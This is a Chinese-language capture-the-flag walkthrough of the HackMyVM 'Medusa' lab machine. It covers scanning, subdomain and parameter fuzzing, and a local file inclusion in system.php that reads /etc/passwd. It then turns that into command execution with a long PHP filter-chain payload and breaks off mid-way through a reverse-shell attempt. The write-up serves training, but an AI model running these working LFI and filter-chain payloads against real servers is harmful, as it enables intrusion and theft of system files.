hmv[-_-]Medusa
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142
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0
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CP,penetration test,WEB

1265 字
|
45 分钟

Medusa

image-20240426160253918

image-20240426160436448

信息搜集

端口扫描

┌──(kali💀kali)-[~/medusa]
└─$ rustscan -a 192.168.0.109 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.0.109:21
Open 192.168.0.109:22
Open 192.168.0.109:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)   '
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 04:05 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
Initiating Ping Scan at 04:05
Scanning 192.168.0.109 [2 ports]
Completed Ping Scan at 04:05, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:05
Completed Parallel DNS resolution of 1 host. at 04:05, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 3, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 04:05
Scanning medusa (192.168.0.109) [3 ports]
Discovered open port 80/tcp on 192.168.0.109
Discovered open port 22/tcp on 192.168.0.109
Discovered open port 21/tcp on 192.168.0.109
Completed Connect Scan at 04:05, 0.00s elapsed (3 total ports)
Initiating Service scan at 04:05
Scanning 3 services on medusa (192.168.0.109)
Completed Service scan at 04:05, 6.08s elapsed (3 services on 1 host)
NSE: Script scanning 192.168.0.109.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 2.52s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.03s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
Nmap scan report for medusa (192.168.0.109)
Host is up, received syn-ack (0.00037s latency).
Scanned at 2024-04-26 04:05:03 EDT for 9s

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.3
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 70:d4:ef:c9:27:6f:8d:95:7a:a5:51:19:51:fe:14:dc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDv4Q5cpQcRXYQ70CJSzZRxXFH6tuoJTM53mCVczFIZ2Urzv0s/jbfw/HqDxogNi2VTulyIaV2Qjbif+LG4h/PV5omSnTjLbaIoHEqy1ADJk0jXsMCGy31Iezmdh70UFtjMUP+/HIGvDmpckPPKzG1/OKUnctNSHEzkIRjqCAKC9/XRdnREcKd6QEWVMk4dGlwdcCWLu6RyRGYb9ytIxO1CJI9/b911PDv1qOFRw3xEPbyXxDHQO+aKRfDWYfWHZPzi/LwDTgKZ7CuV2cz0uFE+nM+5aeIuyffkT4ViezkLNbCOlkdpi1D3fGlQhRrMtDP9mUpjENJwyB95QCdbT+yLuBkIDdNL59i4vZN2AS/L307QF6kh/37hy8scksq/eDWrxhOhhyTcATwSV9ZeiWm5O7VgIxY/8Q4GlqeSTMXY4HZS/oLu+ABvB/Rv3PVV2WEoZKgpWdgFbFpo0TRuaE7jlRa5ertqrQiCVAPAb8crAMDDaMtcmoSz/FHA5aKu45U=
|   256 3f:8d:24:3f:d2:5e:ca:e6:c9:af:37:23:47:bf:1d:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLAG2BM8Qp6PJMrgKjDrMPVgCsANoTZTePFUDsc0gYJkZUWPt04uYyBAzPuxSf6U0UQPN846rYWaBeHavSfLRKc=
|   256 0c:33:7e:4e:95:3d:b0:2d:6a:5e:ca:39:91:0d:13:08 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN+WcY1Uu0g6LNsI0roz56ThI9v7ogotmKl2wgTviIHx
80/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:05
Completed NSE at 04:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.40 seconds

目录扫描

┌──(kali💀kali)-[~/temp/medusa]
└─$ gobuster dir -u http://192.168.0.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.109
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,jpg,txt,html,php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10674]
/.php                 (Status: 403) [Size: 278]
/manual               (Status: 301) [Size: 315] [--> http://192.168.0.109/manual/]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
/hades                (Status: 301) [Size: 314] [--> http://192.168.0.109/hades/]
Progress: 1543920 / 1543927 (100.00%)
===============================================================
Finished
===============================================================

漏洞发现

踩点

image-20240426160731950

image-20240426161545564

Kraken

端口探测

21端口不能匿名登录。。。

敏感目录

┌──(kali💀kali)-[~/temp/medusa]
└─$ gobuster dir -u http://192.168.0.109/hades -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.109/hades
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,bak,jpg,txt,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 0]
/.html                (Status: 403) [Size: 278]
/door.php             (Status: 200) [Size: 555]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
Progress: 1543920 / 1543927 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali💀kali)-[~/temp/medusa]
└─$ curl http://192.168.0.109/hades/door.php -X POST -d "word=Kraken"           
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles.css">

    <title>Door</title>
</head>
<body>
 <form action="d00r_validation.php" method="POST">
    <label for="word">Please enter the magic word...</label>
    <input id="word" type="text" required maxlength="6" name="word">
    <input type="submit" value="submit">
 </form>
</body>
</html>

┌──(kali💀kali)-[~/temp/medusa]
└─$ curl http://192.168.0.109/hades/d00r_validation.php -X POST -d "word=Kraken"
<head>
    <link rel="stylesheet" href="styles.css">
    <title>Validation</title>
</head>
<source><marquee>medusa.hmv</marquee></source>

尝试更新dns解析：

┌──(kali💀kali)-[~/temp/medusa]
└─$ sudo su                    
[sudo] password for kali: 
┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# vim /etc/hosts
192.168.0.109   medusa.hmv

FUZZ域名

尝试看一下有些啥，发现没变化，尝试FUZZ！

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# ffuf -u http://medusa.hmv -H 'Host: FUZZ.medusa.hmv' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 3423

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://medusa.hmv
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.medusa.hmv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 3423
________________________________________________

dev                     [Status: 200, Size: 1973, Words: 374, Lines: 26, Duration: 1026ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1886 req/sec :: Duration: [0:01:02] :: Errors: 0 ::

添加一下：

192.168.0.109   dev.medusa.hmv 
┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# gobuster dir -u "http://dev.medusa.hmv/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,zip,bak,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.medusa.hmv/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,zip,bak,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 1973]
/.php                 (Status: 403) [Size: 279]
/files                (Status: 301) [Size: 316] [--> http://dev.medusa.hmv/files/]
/assets               (Status: 301) [Size: 317] [--> http://dev.medusa.hmv/assets/]
/css                  (Status: 301) [Size: 314] [--> http://dev.medusa.hmv/css/]
/manual               (Status: 301) [Size: 317] [--> http://dev.medusa.hmv/manual/]
/robots.txt           (Status: 200) [Size: 489]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================
┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# gobuster dir -u "http://dev.medusa.hmv/files" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,zip,bak,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.medusa.hmv/files
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,html,php,txt,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 0]
/.html                (Status: 403) [Size: 279]
/system.php           (Status: 200) [Size: 0]
/readme.txt           (Status: 200) [Size: 144]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================

看一下有啥：

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# curl http://dev.medusa.hmv/files/readme.txt
-----------------------------------------------
+  Don't trust your eyes, trust your instinct +
-----------------------------------------------

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# curl http://dev.medusa.hmv/files/system.php

尝试fuzz一下相关的参数：

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# ffuf -u http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

view                    [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 1ms]
:: Progress: [220560/220560] :: Job [1/1] :: 4347 req/sec :: Duration: [0:00:44] :: Errors: 0 ::

方法一：LFI与php filter链

尝试执行LFI！

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# curl http://dev.medusa.hmv/files/system.php?view=/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
spectre:x:1000:1000:spectre,,,:/home/spectre:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

尝试包含一下其他文件：

┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# curl http://dev.medusa.hmv/files/system.php?view=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjExMDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA1OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3BlY3RyZTp4OjEwMDA6MTAwMDpzcGVjdHJlLCwsOi9ob21lL3NwZWN0cmU6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpmdHA6eDoxMDY6MTEzOmZ0cCBkYWVtb24sLCw6L3Nydi9mdHA6L3Vzci9zYmluL25vbG9naW4K                                                                                                                                                        
┌──(root㉿kali)-[/home/kali/temp/medusa]
└─# curl http://dev.medusa.hmv/files/system.php?view=php://filter/convert.base64-encode/resource=../../../../../etc/passwd | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1936  100  1936    0     0  1103k      0 --:--:-- --:--:-- --:--:-- 1890k
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
spectre:x:1000:1000:spectre,,,:/home/spectre:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

牛逼，尝试php_filter_chain_generator构造相关链：

http://dev.medusa.hmv/files/system.php?view=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=whoami

image-20240426165204631

尝试反弹shell！！！

http://dev.medusa.hmv/files/system.php?view=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.